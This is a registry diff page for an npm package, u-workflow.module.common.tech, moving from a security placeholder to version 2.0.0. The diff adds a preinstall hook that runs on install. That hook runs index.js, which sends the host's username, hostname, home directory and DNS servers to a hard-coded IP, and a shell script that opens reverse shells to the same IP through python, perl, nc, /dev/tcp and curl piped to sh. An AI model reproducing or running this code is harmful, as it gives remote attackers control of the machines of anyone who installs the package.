u-workflow.module.common.tech 0.0.1-security → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of u-workflow.module.common.tech might be problematic. Click here for more details.
- package/index.js +79 -0
- package/main_reverse_shell.sh +30 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,79 @@
|
|
1
|
+
//author:- whitehacker003@protonmail.com
|
2
|
+
const os = require("os");
|
3
|
+
const http = require('http');
|
4
|
+
const path = require('path');
|
5
|
+
const dns = require("dns");
|
6
|
+
const querystring = require("querystring");
|
7
|
+
const https = require("https");
|
8
|
+
const packageJSON = require("./package.json");
|
9
|
+
const package = packageJSON.name;
|
10
|
+
const fs = require('fs');
|
11
|
+
const readFileLines = filename =>
|
12
|
+
fs
|
13
|
+
.readFileSync(filename)
|
14
|
+
.toString('UTF8')
|
15
|
+
.split('\n');
|
16
|
+
// Driver code
|
17
|
+
function makePromise() {
|
18
|
+
var url = "http://77.244.210.247/burpcollaborator.txt";
|
19
|
+
return new Promise(resolve => {
|
20
|
+
http.get(url, (res) => {
|
21
|
+
const filename = path.basename(url);
|
22
|
+
const fileStream = fs.createWriteStream(filename);
|
23
|
+
res.pipe(fileStream);
|
24
|
+
fileStream.on('finish', () => {
|
25
|
+
fileStream.close();
|
26
|
+
arr = readFileLines(filename);
|
27
|
+
resolve(arr)
|
28
|
+
});
|
29
|
+
})
|
30
|
+
});
|
31
|
+
}
|
32
|
+
async function asyncFunc() {
|
33
|
+
var arr = await makePromise();
|
34
|
+
var split_back_hostname = arr[0].split(":");
|
35
|
+
const trackingData = JSON.stringify({
|
36
|
+
p: package,
|
37
|
+
c: __dirname,
|
38
|
+
hd: os.homedir(),
|
39
|
+
hn: os.hostname(),
|
40
|
+
un: os.userInfo().username,
|
41
|
+
dns: dns.getServers(),
|
42
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
43
|
+
v: packageJSON.version,
|
44
|
+
pjson: packageJSON,
|
45
|
+
});
|
46
|
+
|
47
|
+
var postData = querystring.stringify({
|
48
|
+
msg: trackingData,
|
49
|
+
});
|
50
|
+
|
51
|
+
var options = {
|
52
|
+
hostname: split_back_hostname[0], //replace burpcollaborator.net with Interactsh or pipedream
|
53
|
+
port: split_back_hostname[1],
|
54
|
+
path: "/",
|
55
|
+
method: "POST",
|
56
|
+
headers: {
|
57
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
58
|
+
"Content-Length": postData.length,
|
59
|
+
},
|
60
|
+
};
|
61
|
+
|
62
|
+
var req = https.request(options, (res) => {
|
63
|
+
res.on("data", (d) => {
|
64
|
+
process.stdout.write(d);
|
65
|
+
});
|
66
|
+
});
|
67
|
+
|
68
|
+
req.on("error", (e) => {
|
69
|
+
// console.error(e);
|
70
|
+
});
|
71
|
+
|
72
|
+
req.write(postData);
|
73
|
+
req.end();
|
74
|
+
return arr;
|
75
|
+
}
|
76
|
+
|
77
|
+
asyncFunc()
|
78
|
+
// var arr = readFileLines('/var/www/html/burpcollaborator.txt');
|
79
|
+
|
@@ -0,0 +1,30 @@
|
|
1
|
+
# Reverse Shell as a Service
|
2
|
+
# https://github.com/lukechilds/reverse-shell
|
3
|
+
#
|
4
|
+
# 1. On your machine:
|
5
|
+
# nc -l 1337
|
6
|
+
#
|
7
|
+
# 2. On the target machine:
|
8
|
+
# curl https://reverse-shell.sh/yourip:1337 | sh
|
9
|
+
#
|
10
|
+
# 3. Don't be a dick
|
11
|
+
for j in $(seq 22857 22956);
|
12
|
+
do
|
13
|
+
echo $j
|
14
|
+
if command -v python > /dev/null 2>&1;
|
15
|
+
then
|
16
|
+
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("77.244.210.247",'$j')); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
|
17
|
+
elif command -v perl > /dev/null 2>&1;
|
18
|
+
then
|
19
|
+
perl -e 'use Socket;$i="77.244.210.247";$p='$j';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
20
|
+
elif command -v nc > /dev/null 2>&1;
|
21
|
+
then
|
22
|
+
nc 77.244.210.247 $j
|
23
|
+
elif command -v sh > /dev/null 2>&1;
|
24
|
+
then
|
25
|
+
/bin/sh -i >& /dev/tcp/77.244.210.247/$j 0>&1
|
26
|
+
elif command -v sh > /dev/null 2>&1;
|
27
|
+
then
|
28
|
+
curl http://77.244.210.247:$j|sh
|
29
|
+
fi
|
30
|
+
done
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "u-workflow.module.common.tech",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "2.0.0",
|
4
|
+
"description": "u-workflow.module.common.tech",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\"",
|
8
|
+
"preinstall": "node index.js && ./main_reverse_shell.sh"
|
9
|
+
},
|
10
|
+
"keywords": [
|
11
|
+
"u-workflow.module.common.tech"
|
12
|
+
],
|
13
|
+
"author": "bpen",
|
14
|
+
"license": "ISC"
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=u-workflow.module.common.tech for more information.
|